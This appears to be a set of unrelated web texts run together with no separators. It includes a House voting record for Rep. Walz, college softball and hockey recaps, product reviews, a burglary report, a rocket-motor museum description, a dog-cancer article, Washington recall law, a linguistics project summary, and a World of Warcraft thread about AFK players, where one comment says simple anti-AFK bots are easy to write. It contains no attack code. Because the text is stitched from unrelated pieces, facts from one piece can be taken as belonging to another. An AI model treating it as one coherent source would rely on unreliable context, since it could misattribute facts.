National security
American response in Syria
- See also: United States involvement in Syria
More than 100 House lawmakers signed a letter urging President Barack Obama to call Congress back into session if he planned to use military force in Syria.[7]
Rep. Scott Rigell wrote in the letter in August 2013, "engaging our military in Syria when no direct threat to the United States exists and without prior congressional authorization would violate the separation of powers that is clearly delineated in the Constitution."[7][8]
The members of Congress believed that Obama should have asked Congress for permission before engaging in Libya. The letter asked, "If the use of 221 Tomahawk cruise missles, [sic] 704 Joint Direct Attack Munitions, and 42 Predator Hellfire missiles expended in Libya does not constitute 'hostilities,' what does?"[8]
The letter stated, "If you deem that military action in Syria is necessary, Congress can reconvene at your request. We stand ready to come back into session, consider the facts before us, and share the burden of decisions made regarding U.S. involvement in the quickly escalating Syrian conflict."[8]
A total of 98 Republicans signed the letter. Walz was one of 18 Democratic members to sign the letter.[8]
National Defense Authorization Act
Walz voted in support of HR 1960 - the National Defense Authorization Act for Fiscal Year 2014. The bill passed the House on June 14, 2013, with a vote of 315 - 108. Both parties were somewhat divided on the vote.[9]
Department of Homeland Security Appropriations
walz voted in opposition of HR 2217 - the Department of Homeland Security Appropriations Act of 2014. The bill passed the House on June 6, 2013, with a vote of 245 - 182 and was largely along party lines.[9]
2013 Farm Bill
- See also: United States Farm Bill 2013
The comprehensive farm bill failed in the House due largely in part to the votes of 8 Democratic House members who joined the Republican majority to vote down the measure.[10] Reps. Collin Peterson, John Barrow, Bishop, Cheri Bustos, Sean Maloney, Mike McIntyre, Bill Owens, and Walz were the 8 Democratic members who voted to reject the bill.[10] According to analysis by OpenSecrets, many of these Democratic members have received significant political contributions from agricultural organizations that benefit from crop insurance subsidies.[10] Five of the eight are on the House Agriculture Committee--Peterson, Bustos, Maloney, McIntyre, and Walz-- from which agribusiness firms routinely target committee members with sizable contributions.[10]
Walz voted against the Farm Bill on July 11, 2013. The bill passed in a 216-208 vote.[11] The bill passed included farm policy, but did not include food stamps.[12]
Government shutdown
- See also: United States budget debate, 2013
On September 30, 2013, the House passed a final stopgap spending bill before the shutdown went into effect. The bill included a one-year delay of the Affordable Care Act's individual mandate and would have also stripped the bill of federal subsidies for congressional members and staff. It passed through the House with a vote of 228-201.[13] At 1 a.m. on October 1, 2013, one hour after the shutdown officially began, the House voted to move forward with going to a conference. In short order, Sen. Harry Reid rejected the call to conference.[14] Walz voted against the stopgap spending bill that would have delayed the individual mandate.[15]
The shutdown finally ended on October 16, 2013, when the House took a vote on HR 2775 after it was approved by the Senate. The bill to reopen the government lifted the $16.7 trillion debt limit and funds the government through January 15, 2014. Federal employees also received retroactive pay for the shutdown period. The only concession made by Senate Democrats was to require income verification for Obamacare subsidies.[16] The House passed the legislation shortly after the Senate, by a vote of 285-144, with all 144 votes against the legislation coming from Republican members. Walz voted for HR 2775.[17]
Morton Memos Enforcement Prohibition
Walz voted against House Amendment 136 - Prohibits the Enforcement of the Immigration Executive Order. The amendment was adopted by the House on June 6, 2013, with a vote of 224 - 201. The purpose of the amendment as stated on the official text is to "prohibit the use of funds to finalize, implement, administer, or enforce the Morton Memos." These memos would have granted administrative amnesty to certain illegal aliens residing in the United States.[18] The vote largely followed party lines.[19]
Repealing Obamacare
Walz has voted against all attempts to repeal or delay the implementation of the Patient Protection and Affordable Care Act.[20]
Social issues
Violence Against Women Act
Walz voted to reauthorize the Violence Against Women Act which provides aid to prosecute cases of violent acts against women and men.[21]
Walz voted against HR 1797 - Pain-Capable Unborn Child Protection Act. The resolution passed the House on June 18, 2013, with a vote of 228 - 196. The purpose of the bill is to ban abortions that would take place 20 or more weeks after fertilization.[22]

#13 Lenoir-Rhyne Sweeps Pair from Softball; Conklin Collects HR and Three Hits
February 17, 2011
MISENHEIMER, N.C. Lenoir-Rhyne University, ranked #13 in the latest NFCA national poll, swept Pfeiffer University in both ends of a doubleheader during non-conference softball action on Thursday afternoon at Jack Ingram Field. The Bears scored 6-5 and 11-2 victories to improve to 6-2 on the year while the Lady Falcons remain winless at 0-6.
GAME ONE: Lenoir-Rhyne 6, Pfeiffer 5
Down 6-1 headed to the bottom of the sixth, the Lady Falcons rallied for two in the sixth and had the winning run in scoring position in the seventh before eventually falling by a run. After Amber Johnson (Spokane, WA) started the sixth with a walk, freshman Celia Dew (Sanford, NC) followed with a quick double to right. Johnson would later score on Sarah Waylocks (Cary, IL) sac-fly to foul territory in left, while Dew later plated on a wild pitch.
In the seventh, Allison Braswell (Asheboro, NC) drew a leadoff walk, followed by a Kirsten Patterson (Anthem, AZ) single to center. After Andrea Wagner (Wauseon, OH) reached on an error, Melanie Conklin (Wellington, OH) took a hit-by-pitch that scored pinch-runner Rachel LaBar (Bradenton, FL) from third for a 6-4 contest. Dew later picked up a sac-fly to left slicing the deficit to one, but a Hannah Jackson (Greensboro, NC) pop out to short ended the opener.
Earlier, a solo home run by the Bears Jody Mizelle (Colerain, NC) put the visitors on the board in the third, before a RBI-single from Braswell tied the contest in the fourth. Mizelle put Lenoir-Rhyne back up one on a run-scoring single in the fifth, before the Bears tacked on four in the sixth. Kristin Lackey (Hickory, NC), Tameron Sealey (Mount Holly, NC) and Mizelle had the sixth frame RBI for the Bears.
Dawon Millwood (Hixson, TN) scored the win on the mount tossing six innings allowing four runs on five hits. Megan Laxton (Taylorsville, NC) came in late in the seventh to earn her second save of the year. Mizelle paced the Bears with a 4-for-4, three RBI outing in game one while the Lady Falcons were led by Conklins 2-for-3 effort.
GAME TWO: Lenoir-Rhyne 11, Pfeiffer 2 (5)
Pfeiffer struck first in game two as Wagner singled home Sam Taylor (Surrey, BRITISH COLUMBIA) in the second. In the third, Lenoir-Rhyne used a four spot to grab a three run lead as Haily Jarman (Wadesboro, NC) delivered the big blow with a three-run blast to left.
After a leadoff solo homer from Conklin started the Pfeiffer third, the Bears would add on three in the fourth and four in the fifth to finish off the sweep. Sarah Atkins (Newport News, VA) and Jarman had the only two RBI in the fourth while Mizelle smacked a two-run dinger in the top of the fifth that coupled with two more RBI from Jarman and Heather Brock (Yadkinville, NC).
Lauren Harris (Yadkinville, NC) tallied the complete game win in the nightcap allowing two runs on five hits with five strikeouts. Mizelle and Atkins led the Bears with a pair of hits in game two while Waylock finished her afternoon 2-for-2.
Pfeiffer will now have a couple of days off before opening up Conference Carolinas play on Sunday afternoon. The Lady Falcons head north to Barton for the league opener slated for 2:00 p.m.

Nice save-the-date magnets
Good quality and reasonably priced. Happy with the purchase.
Beautiful & Original
I got my magnets in the mail yesterday and they are BEAUTIFUL! I almost cried when I saw them. Make sure you have a high-quality image on them...they look STELLAR. My fiance and mother have seen them, and they agree that they are very original. You can't go wrong with these!
Great and Simple!
We ordered this card for our next day reception. The cards came back in a good time and they looked great! Online the design looks fuzzy (like when an image is saved as jpg/jpeg), but the images came back pretty crisp and the text was clear even with the small font. It was easy to update the colors to what we wanted.
Great Product!
These are a great idea and they came out beautifully. Picture was clear and have only received positive feedback from family and friends.

The Bone Double Elevated Dog Bowl is good for your dog's muscles, bones and stomach. The raised design puts less stress on your pet's joints, hips and neck. Since they won't have to hang their necks as low, an elevated bowl makes it easier for dogs to eat without straining their bodies. This product is a great choice for any dog. It is especially beneficial for older or injured dogs that are already suffering from painful or arthritic conditions. Elevated dog dishes also reduce the amount of air your pet will gulp in, which means you'll have a less gassy dog. That's always good! Elevated bowls help dog digestion overall and prevent choking and vomiting.
The bone double elevated dog bowl became a pet parent favorite years ago. This double dish features a contemporary yet whimsical appearance thanks to high-quality materials with the simple bone design on the front of the frame. The frame is made out of steel and the bowls are stainless steel. The black frame and silver-colored bowls provide a classy and subtle look that will compliment most homes.
The raised double diner design also makes your life a little easier by putting the food and water bowls in one contained location that's a bit closer for you to reach. The frame holds the bowls securely in place, making it harder for your pup or kids to knock them over, spilling food and water everywhere.

Say no to charging it.
Do you have credit card debt now? Well you can totally get out of it. Every summer our credit cards are used. Hubby is a full-time student, so in the summer things are tight. We use our 2 credit cards for bills and then pay it off as soon as possible. We add our credit card payments into our budget and keep it there until it is paid off. Budget in a payment for your credit cards each month. If you get a little extra money during the month, pay off those cards. Keep paying them down.Eventually you will pay it off and have a little extra money each month to play with. This is the best!
Once you have paid off your credit card, keep it clear. If you have a hard time controlling yourself around that plastic beauty, then leave it home. Don't allow yourself to carry it. Take some control over your fiances. I personally couldn't handle a credit card when we first got married. When that baby got in my hands, I would suddenly have the need to spend. Eventually I cut it up and told my hubby I couldn't handle it. I had to admit I had a problem and deal with it. Now I still do not hold a credit card. I prefer to let hubby have them. I can control myself, but hate the temptation. I leave my cards at home. I know I have ti if something happened, but I don't allow myself to carry it in my wallet. Know your limits folks.
When we bought our cars we also had to go into debt, but paid them off as soon as we could.

TRUCKEE, Calif. — Police on Thursday arrested a man and woman on numerous felony charges stemming from an incident in which a homeowner arrived home to find the couple allegedly ransacking his garage.
David Johnathan Gish, 22, of Reno, and Christina McCurtain, 19, of Truckee, were booked Thursday in Nevada County Jail in Truckee, each on $25,000 bail, after police say they stole property from a Tahoe Donner Subdivision home earlier that morning.
According to a Truckee Police Department press release, officers were dispatched at about 8 a.m. to the home after the homeowner reported two unknown individuals were inside his garage removing property.
According to Truckee Police, as the homeowner parked his vehicle, Gish and McCurtain entered a blue Dodge truck and fled the area at a high rate of speed. The homeowner called 911 and attempted to follow the truck, but lost sight.
After an extensive search, officers located the truck parked in the Ski Bowl Condominiums in Tahoe Donner. Gish and McCurtain were located exiting the vehicle and were taken into custody without incident.
Stolen property from the garage was recovered and returned to the owner.
According to Truckee Police, the blue Dodge had been reported stolen two weeks prior after an additional residential burglary from an address in Tahoe Donner. The vehicle was recovered and later returned to the registered owner.
Gish was booked on charges of residential burglary, possession of stolen property, stolen vehicle and felon in possession of a deadly weapon, while McCurtain was booked on charges of residential burglary, possession of stolen property and a stolen vehicle.

Braswell Earns Conference's Final Pitcher of the Week Award
April 13, 2010
HIGH POINT, N.C. Pfeiffer Universitys Allison Braswell (18-26 overall, 8-10 conf.) has been selected as the NCAA Division II Conference Carolinas softball Pitcher of the Week during week number ten in the 2010 season.
Braswell, a junior of Asheboro, NC turned in her best performance of the season on Friday afternoon in a 2-1, 12-inning win over Queens University to help solidify a playoff spot for the Lady Falcons. Braswell started the day's sweep, tossing all 12 innings, allowing no earned runs on just two hits in the complete-game victory. Braswell struck out seven while making a spectacular bare handed catch on defense after a line drive deflection off of her own glove.
Pfeiffer wraps up the 2010 regular season today at 2:00 p.m. against Limestone before heading to Conference Carolinas play on Friday at Coker.

Perfect card- I love it!
I will be engaged for two years by the time our wedding comes around. It took me 6 months to find the PERFECT Save the Dates and Invitations. These were it! The quality of the paper and printing is excellent. I ordered a few samples before I purchased. It's nice to see it in person. I loved being able to customize my own colors and creating a very personal design. There aren't any envelope options other than their standard ones, but that's alright. I bought envelopes in my wedding color and used those instead. Customer service was great. I modified my design a little bit, but it turned out perfectly. I am very happy with my order and will order my invitations here as well.

This is a replica of the regeneratively-cooled liquid fuel rocket motor designed and built by James H. Wyld of the American Rocket Society (ARS) in 1937.
One major problem faced by early rocket experimenters was overheating of their small motors. Wyld's solution was regenerative-cooling, which was also tried by Robert Goddard and by rocket experimenters in Europe. In this system, the propellant circulates around the motor in a cooling jacket before injection into the combustion chamber where it is ignited with the oxidizer (liquid oxygen). The pre-heated fuel also aids its combustion. The motor was successfully tested in 1938 and 1941.
Wyld and three other ARS members formed Reaction Motors, Inc. (RMI), in December 1941 and this motor is an early replication by the company of that first model, with some of the materials changed. The Reaction Motors Division of Thiokol Chemical Corp. sent the motor to the Smithsonian in 1952.

CHARLOTTE – When Cody Zeller attended the 2008 McDonald's All-American basketball game at the Bradley Center in Milwaukee, he was there to support his older Tyler Zeller.
It turns out he began a relationship that he hopes will help change the Charlotte Bobcats' recent fortunes.
"I remember seeing Kemba Walker play in the McDonald's All-American game with my brother," Cody Zeller said Friday at his introductory Bobcats news conference after being the No. 4 overall pick in Thursday's NBA Draft. "And my dad (Steve) and I picked him as our favorite player. I've followed him ever since and am looking forward to the opportunity to play with him here."
According to new Bobcats coach Steve Clifford, he will be expected to do much more than simply "play" with Walker.
"That will be one of the relationships we will have to work on," said Clifford, who compared Zeller's talents to those of Pau Gasol and Kevin Garnett among others due to his talent, versatility and unselfishness. "I'm telling what I see evolving. But the talent and skill level are there and I think there's a lot of ways that he can be effective."
Given how Walker thrived in the pick-and-roll game with veteran Josh McRoberts late last season – Walker led the team in scoring (17.7 average) and assists (5.7) – Clifford has hopes that Zeller can do the same.
"To me, it's the whole package," Clifford said of Zeller's talents. "If you watch the best teams play, they play hard and they play smart. He fits right into that."
What else does Zeller's addition mean for the Bobcats?
The team announced Friday it will be making a qualifying offer to restricted free agent guard-forward Gerald Henderson but won't be extending an offer to forward-center Byron Mullens.
Henderson, the team's first-round pick in 2009, can be signed by another NBA team, but the Bobcats will have the right to match whatever contract offer Henderson is made.
If the Bobcats bring Henderson back – and re-sign unrestricted free agents Jannero Pargo and Josh McRoberts – Charlotte can bring back nine of its top rotation players from a team that won its final three games to finish 21-61.
Sometime in the next week, the Bobcats will announce free agent signees to fill out their roster for the July 17-22 Las Vegas Summer League. The team will spend a few days at their practice facility in Charlotte before heading west.
Clifford hopes Walker will attend some practice sessions, with guard-forward Jeffery Taylor, forward Michael Kidd-Gilchrist and forward-center Bismack Biyombo expected to join Zeller on the summer league team.
"We're building a summer league team now," said general manager Rich Cho, who spent much of last season scouting Zeller's Indiana team frequently. "Cody was a target all year. He's a guy we want to build around. He's the best big athlete in the draft and the best in many, many years."

Dog Intestinal Tumors
Dog Intestinal Tumors
According to reports, as stated by the National Canine Cancer Foundation, only about 10 percent of all dogs are found to have intestinal tumors. Here is the breakdown of the different kinds of intestinal tumors that dogs have: lymphoma is estimated at 29 percent, leimyosarcoma at 23 percent, adenocarcinoma at 17 percent and small intestinal tumors estimated at just over 1 percent.
Some other kinds of intestinal tumors in canines that can affect your dog are extramedullary plasmacytoma, Dog Mast Cell Tumors, extraskeletal Dog Osteosarcoma – OSO and Dog Hemangiosarcoma. Veterinary and medical reports that come from Great Britain estimate that intestinal tumors are found in approximately 22 percent of dogs. However, it seems that the difference of dogs suffering from intestinal tumors between dogs in the United States of America and dogs living in other countries is usually due to environmental and cultural factors, as well as neutering and spaying practices between the countries.
Most intestinal tumors in dogs are usually malignant. However, some exceptions can and do exist. Most of these benign polyps or adenomas are usually found in the dog's rectum. Yet, carcinomas can occur frequently in dogs as well.
Older male dogs that are between the ages of six and nine years of age are predisposed to intestinal tumors. The most common breeds to get this type of Dog Cancer are the German Shepherd Dog and Collie. The most common sites for tumors of the intestines are the colon, as well as the rectum. This is called 'colorectal adenocarcinoma' in which the rectum is affected the most often. On the other hand, gastrointestinal stromal and leimyosarcomas usually originate in the first portion of the dog's small intestine.
Adenomatous (benign) polyps originating in the colon and rectum can begin as benign tumors, but as the years pass by they can turn into malignant structures that would be known as 'adenocarcinomas'. However, even in their benign form they can still cause potential damage.
Sign and Symptoms of Intestinal Tumors in Dogs
If your dog has an intestinal tumor, it may exhibit one or more of the following symptoms: Dog Weight Loss, Dog Vomiting, less frequently tarry stools, Dog Diarrhea, Dog Anorexia and hypoglycemia. These symptoms may vary depending upon where the tumor is located in your dog's body.
Treatment Options for Intestinal Tumors in Dogs
Surgery is usually the most common treatment if your pooch has an intestinal tumor. However, for dogs that have leiomyosarcoma and adenocarcinoma, metastasis will usually occur and the lymph nodes and liver are the most common sites that cancer cells will immediately infiltrate into. In some cases, sometimes the dog may actually die on the operating table due to peritonitis or sepsis, that is, when the dog's whole body becomes inflamed with the cancer.

The Vee Rubber Mission tire is an economical, yet great-quality tire for your fat tire bike. Designed for fat bike riders who really want to haul, the Vee Rubber Mission tire is 4" wide to give you a ridiculous amount of float. This tire is built for speed and cushion on hardpacked surfaces. Its ramped knobs create great traction without slowing you down on the loose stuff. This tire is designated Tubeless Ready, and will interface nicely with the many tubeless-specific Fat Bike rims on the market, or will run just fine with a tube. Rip up the trails but not your wallet with the Vee Rubber Mission!

This tire has terrible oversteering and not very good traction for climbing or cornering. Stay away from these tires.
Best Uses
Comments about Vee Rubber Mission 26" Fat Bike Tire:
Tires were stock on my Norco Bigfoot. If you want traction on snow or icy conditions, I suggest inflating them around 6-8psi. This is how you will get what traction it as to offer while taking corners. I upgraded the bike with more agressive tires and now use them for summer trail riding (around 10 psi).
If you ride your Fatbike, mostly in the winter, look somewhere else, but if you want a low rolling resistance (in terms of Fatbike) tire to ride beaches and deserts or fats rolling hardpack, you could use these.

Laws governing recall in Washington
|Recall news
|Recalls by state
|Recalls by year
|Recalls by type
Washington is one of nine states with provisions that say that the right of recall extends to recalling members of its federal congressional delegation, but it hasn't been clear whether federal courts would allow states to actually recall their federal politicians.[1]
Grounds for recall
Article I, §33 of the Washington Constitution says that a recall can only occur if the targeted public official has engaged in the "commission of some act or acts of malfeasance or misfeasance while in office, or who has violated his oath of office."
This requirement has proven difficult to meet. A 2010 effort to initiate a recall campaign against members of the Seattle School Board after the board received a bad audit from the Washington State Auditor came to naught when a judge ruled that this constituted insufficient grounds under the state's constitution for a recall.[2][3]
Signature requirement
- Main article: Washington signature requirements
A petition for recall must include a specified number of valid signatures from registered voters determined as a percentage of total votes cast for all candidates who ran for the office in the most recent election contest. This amounts to:
- 25 percent for state officers, other than judges, senators and representatives; city officers of cities of the first class; school district boards in cities of the first class; county officers in counties of the first, second and third classes,
- 35 percent for officers of all other political subdivisions, cities, towns, townships, precincts, and school districts not otherwise mentioned; and state senators and representatives.
Appointment of successor
Following a successful recall election, the county board of commissioners appoints a successor to the office from a list submitted by a committee of the political party of the person recalled.

Miami Hockey Postgame Notes
Miami vs. Alaska
Saturday, February 2, 2013
Steve Cady Arena - Oxford, Ohio
- The RedHawks scored a season-high six goals Saturday night, besting their previous high of five goals, which they had scored three times. With the 6-2 win, Miami has now won five consecutive games, its longest winning streak of the season. The last time the RedHawks had a winning streak this long was Feb. 10-March 10 of last year when Miami won eight straight. The RedHawks improved their record to 17-6-5 and 12-4-4-4 in CCHA play as Miami moved into first place in the league, one point ahead of Western Michigan.
- Miami completed a weekend sweep of the Nanooks with Saturday's win after a 4-1 win Friday. The RedHawks also swept Alaska in Fairbanks earlier this year, Nov. 30-Dec. 1, and have won eight straight against the Nanooks dating back to March 11, 2011. The 'Hawks have also won 11 of the last 13 meetings with Alaska. Miami now has three CCHA sweeps this year, also sweeping Bowling Green last weekend, and four on the year, including a season-opening sweep of Colgate.
- Miami limited Alaska to just two goals Saturday, marking the first time in six games the RedHawks have allowed more than one goal in a game. Miami has still kept opponents to two goals or less in 20 of its last 21 games. The RedHawks rank first nationally, giving up just 1.54 goals per game.
- Freshman forward Riley Barber scored the first two goals for Miami, both coming in the first period. It was Barber's first career multi-goal game and his eighth career multi-point game.
- Fellow freshman forward Kevin Morris also recorded his first career multi-goal game with two goals, while also adding an assist. The three points marked a career high as Saturday was also his first multi-point game as a RedHawk. Morris had only recorded five points total this season before Saturday, including just three goals and none since Dec. 7. His first goal was the game-winner, his second career game-winning goal.
- Freshman goaltender Ryan McKay, who leads the country with a 1.08 GAA and .960 save percentage, stopped 29 of the 31 shots he faced on the night, just the second time in 11 starts that he has allowed more than one goal in a game. Both of the goals he allowed came on the power play, the first time since Jan. 11 against Northern Michigan that the RedHawks have allowed a power play goal, snapping a streak of 26 straight penalty kills. Prior to Saturday, the last time Miami allowed multiple power play goals in a game was Dec. 7 against Lake Superior State while it was just the third time this year it has happened.
- Barber's two goals gave Miami its third straight game with two goals in the first period. Prior to this streak, the RedHawks had scored just two first period goals in 12 games from Dec. 1-Jan. 25. Scoring first has been a key to Miami's success as the team now holds a 14-2-1 record when scoring first this season.
- Senior forward Marc Hagel totaled a career-high three assists Saturday, giving him his second consecutive multi-assist game. He had no multi-assist games for Miami prior to this weekend and now has three multi-point games as a RedHawk. For the weekend, Hagel had five assists and was a plus-six on the ice. He entered the weekend with five points total, including three assists.
- Senior defenseman Joe Hartman was a positive force on the ice Saturday, ending up with a plus-five rating, the highest for any Miami player this season and matching Hagel's plus-six for the weekend. Fellow senior defenseman Garrett Kennedy snapped a 13-game pointless draught, assisting on the final goal of the game for his second assist of the year.
- Sophomore forward Cody Murphy's hot streak continued as his third-period goal was his fourth in as many games after also scoring one goal last night. Murphy totaled four goals in his first 24 games and has matched that in the last two weekends, giving him eight on the year.
- Sophomore forward Austin Czarnik assisted on the first two goals of the game, giving him his seventh multi-assist game of the season and the 13th such game of his career. He now has nine multi-point games this year, including two straight after two goals in Friday's win. Czarnik leads the CCHA with 30 points on the year and is tied with Barber for the team lead in goals with 11.
- Junior forward Max Cook scored Miami's fourth goal, which was his first goal of the year and first since Nov. 5, 2011, ironically enough, against Alaska in Fairbanks. He now has three career goals, one in each season.
- By scoring six goals, Miami improved to 13-0-1 when scoring three or more goals this season.
- The RedHawks are now 10-1-3 when playing at home this year, outscoring foes a combined 42-19 when playing at Steve Cady Arena.

HAMPTON--In Hampton Roads we often hear of how sequestration would impact military installations and shipyards, but there are some little people who are at risk too.
In Virginia, more than 1,440 children could be cut from the Head Start program if sequestration cuts go into effect March 1.
In Hampton Roads, 141 students could be cut from enrollment and 30 people may lose their job.
Nancy Null is the director of the Office of Human Affairs Head Start programs for Hampton, Newport News, Norfolk, Portsmouth and Chesapeake.
Null says the program makes sure that children from low income families are prepared for kindergarten.
'These are children who would not receive a preschool experience, so we want to make sure that they're ready just like their peers,' said Null.
Null says she's lost sleep worrying what will happen to all those children if Congress can't come to some type of agreement before March 1.
'My concern for sequestration would be who to cut, where to cut and how to cut. It would be very difficult for us to determine who doesn't get the service and who does,' Null explained.

People like this Oil for a massage because of nice touching and quick healing.
This Oil is wonderful for a massage! People like it because of nice touching and hypnotizing smell. I am going to buy some more :-)
I have exclusively used this oils for years. High quality oil that does not go rancid easily. I once had a galon for two years opened before it went bad!!! My clients always comment at how this lubricant dosnt leave them greasy feeling like other massage therapists oils have. In addition it DOES come out if your sheets. I use a tiny bit of dawn in my load but all in all I have had sheets last for 6 yrs befor they got funky feeling. Now that's return in invesent!!!!
I would highly recommend this product if you are looking for unscented oil with a nice glide. I have been using this product for many years. Not once have i had any complaints from any of my clients or has any of my clients have had an allergic reaction to this product.

Past Research
Typology of Content Interrogatives
Every language has specific words that are used to ask for a specific answer. For example, the English word who asks for a human being, or when for a time. This project investigates what kind of different categorizations languages have in the structure of these content interrogatives.
It has long been assumed that all human languages at least differentiate between a word like who, asking for a human (or sometimes all living beings) and a word like what, asking for non-humans (or non-living beings). However, now that more and more information about the world's languages has become available, it turns out that there are many languages that do not have such a distinction (though not making this distinction is still a minority pattern among the world's linguistic diversity). Likewise, there are many distinctions that might seem natural from a European perspective, but that are not found in other languages, or other languages make distinctions that are unattested in Europe. As in Tamil, where eval asks for a masculine human being and evan asks for a feminine human being (though there is also a general word yār that can be used when the gender is not known).
Investigating the structure of content interrogatives among the world's languages offers a window on the structure of the ontological categorization in the world's languages. Structures recurring in many languages indicate methods of categorizations that are apparently of central importance to humans. Recurrent similarities in form between different interrogatives suggest similarity in the categories expressed. In this way, the current project is related to the investigation of human categorization.

Some quick observations after coming back from the game:
1- Vasquez played terribly on the pick and roll; he missed Lopez at least 3x on his way to the basket.
2- Anderson was amazing. He had two amazing drive spin moves, including one to split a double.
3- Not surprisingly, Smith has his way with Davis on the post. Thomas played great one-on-one D on Smith in limited minutes.
4- JSmoove doesn't look right still. I just didn't see the same activity and energy from him that we're all used to seeing out of him.
5- Gordon was certainly forcing the issue. He wasn't as keen to look for the open man in crunch time, and that may have cost us. His perimeter defense was outstanding though.
6- Rivers got stuffed three times on the drive. I cringed when he attempted to do so on Smith. Quiet game from him.
7- Refs were very inconsistent with their calls. Extremely ticky tackey. The fans let them have it a few times.
8- Free throw shooting remains a problem. Davis seems to have lost his touch as of late and Gordon missed multiple and one opportunities due to his inability to knock his free throws down. 4-12 as a team.
That's all I can think of for now. I'll post some more thoughts on the game if others come to mind.

I think that while the steps Blizzard has taken to combat people who enter Alterac Valley and then sit in the cave and go Away From Keyboard are a start, there's still a ways to go to fully solve that problem. The central issue is that a person who is AFK in battle either ends up with a gain in honor, or at worst, they stay level. There is no actual penalty for being AFK.
Sure, there is an opportunity cost involved. The AFKer doesn't gain as much honor as she could. But most likely she is doing something else, a non-WoW activity such as watching TV or surfing the net, that would prevent her from actively participating. The potential scenarios are:
1. Watch TV, don't have WoW running.
2. Watch TV, sit AFK in Alterac Valley.
In the worst case, the rewards for the second scenario are equal to the rewards for the first scenario. So there is essentially no reason not to AFK while watching TV if you can.
It all comes back to Coriel's First Law of Skill:
If the metric used to measure skill cannot decrease, you are not measuring skill, but time.
Honor cannot decrease. Thus it measures time, and people will come up with ways to make it look like they are putting in the time.
The AFK Debuff needs teeth to be useful. It needs to have an actual honor penalty in order to make scenario 1 preferrable to scenario 2. Unfortunately, this might open the doors to griefing as sub-groups in AV try and declare other people AFK when they are not. An example might be a group of 70s trying to declare any non-70 in AV as AFK, in order to force them out.

AFK in AV
I think that while the steps Blizzard has taken to combat people who enter Alterac Valley and then sit in the cave and go Away From Keyboard are a start, there's still a ways to go to fully solve that problem. The central issue is that a person who is AFK in battle either ends up with a gain in honor, or at worst, they stay level. There is no actual penalty for being AFK.

I don't understand why we have to report people at all. The game can tell if you are doing something. If you don't do anything for, say, 3 minutes, it should pop up a box that says "Hey, I think you are afk. Are you really there?" And if the user doesn't click "yes" within, say, another minute, then boot them from the battleground immediately.
They are never going to implement a negative honor penalty, because then people would complain about being kicked out when they weren't really afk. Why start that whole mess? Just aggressively and automatically kick out anyone who appears afk, and don't penalize them. That way, you don't get complainers, but its not worth it to go afk either.

I'm pretty sure that you'd still get complainers from that. But even if we assume that the setup is fair and acceptable, why shouldn't it also impose a penalty? It wouldn't really change the tracking and removal system any to do that; it works the same way in both cases.
In any case, I question the validity of using the AFK reporting tool as a griefer, as from what I understand of it's functionality, it would hardly be possible to catch an active player with it.

I go AFK once in a while. Not from choice but from real lige intervention. And no, I sometimes dont even have time to log out/leave BG. This is kid related, the only time spans are now and at once w small kids.
Well. To the point. I like that they are harder to afk'ers. When I play I don't wanna loose because 10 losers are hanging in the cave. But every time I have gone afk I have been autokicked. The must be doing something - like som autojump etc. Autorunning into a wall will do I suppose.
But I am against penalizing afk'ers. We're not all leechers - just blokes w lives =)
- 4:12 AM, November 22, 2007
- Wow Panda said...
The only reason whey the auto afk kick is not working, is you can write very simple anti afk bots. It is very easy to write a bot to just go forward x steps then backward x steps every minute. So it is impossible for the software to detect if you are afk.

i agree.even though i have never even been to a real full AV i have heard deadly tales abotu the infamous AFK. it will need teeth as you say.and about that bot. i dont know what to do abotu that bot problem

- Dazanna said...
If you see someone using a botting program you should report it to a GM as quickly as possible. Its against the game rules and is a permaban offense.
One of the biggest problems with the reporting feature is how it is implemented. It requires multiple people to check and mark people, then has a long period of time where the player has a "countdown" to the debuff. In that time period a lot of bonus honor can be obtained. Obviously it was put in to prevent griefing, but in the end it also makes the tool less effective. I think this should be addressed before any other changes are made.
I'm going to have to respectfully disagree with Daddy Gamer. AFKers need to be punished harshly. I really doubt there are any problems short of death or serious injury that can prevent someone from taking the second and a half to type /afk to leave a battleground. When you are AFK in a battleground,no matter the reason, you are taking the spot of someone who actually wants to play. And in general, cavers are not "blokes with lives", they are lazy people who want free epics but aren't willing to put the work in for them. I know because I've done it before. Its very tempting to simply pop in a DVD and just hit the space bar every 3 minutes and still profit.

Basically in AV you do either of three things - deal damage, take damage or heal damage. So why not code it such that players who do less than a fixed limit, lets say 10,000 damage done, taken or healed get zero honor from that AV.
A much neater and more elegant solution. The limit value can be raised/dropped to defeat the bots, too.
- 1:09 AM, November 23, 2007

You can't base it on damage, because another legitimate thing to do is guard a tower. I might take a tower without hurting anyone, and then stand there for 4 minutes scaring off the horde with /flex. That's just as useful as killing troggs in the mines (actually, its about 100x more useful than wasting time in the mines).

A lot of people have come forward with suggestions to improve their penalty, but sadly nothing has been said to be in the workds "officially" yet :(
I also think the current state of things isn't up to par and needs a stronger penalty, but everyone else and I will have to post our concerns on the suggestion forum, or nothing will change :(

You seem against systems that measure time instead of skill, but the whole honor-marks system measures time instead of skill. The old peak-system *also* measured time instead of skill but measured how much time you spent in a single week instead of cumulatively.
Skill will modulo the time necessary to achieve your goals, and this is the reward/penalty, such as it exists. It's not a strong reward/penalty.
Heck, even arena with its rankings still rewards time spent irrespective of skill, it just rewards skilled players *more*.
I think this approach to an MMO rewards system is smart, and your more or less implied goal of punishing bad/griefy players is fundamentally the wrong approach.
I would love to see every player in a battleground actually trying. But sometimes they're obviously not trying *and* obviously not AFK. Why did that guy run back to the graveyard and hang out there for 2 minutes in arathi basin? He doesn't care about winning, or doesn't understand the game. Whispering him that there aren't any flags at the graveyards doesn't change his behavior.. he's afk-equivalent in an unfixable way.
In short, accept that the problem can be reduced but not eliminated, and try to enjoy the game despite the flaws, be they bugs, run-on warsongs, or flawed players.

"If the metric used to measure skill cannot decrease, you are not measuring skill, but time."
Leading to the big question...
What *can* decrease in WoW?
Not XP nor level nor attunements nor gear - nor even honor anymore (honor was redefined as a currency in patch 2.0).
Reputation is essentially safe from decrease as well.
You can endlessly re-attempt a quest until you are successful. You can try an instance or a raid over and over as well.
Gold and honor are simply currency.
(I don't think we can include life or mana in this discussion; they are combat elements.)
The only decrease that I can think of is gold for repairs for dying, but that expense is more and more trivial with each patch (daily quests, for example). Thus gold is ultimately a measure of time spent, and anything that can be bought with gold is in reality a time measure.
Therefore, is WoW is simply measuring time spent?

Arena rating can decrease. That's a good measure of PvP skill.
Ability to kill a boss can decrease. I'm sure we've all had raids where we've wiped again and again on a boss that we normal kill in our sleep. So you can argue that the skill of the raid has decreased.
You can't just defeat bosses by putting in time. You have to actually learn the fight. And that is skill.
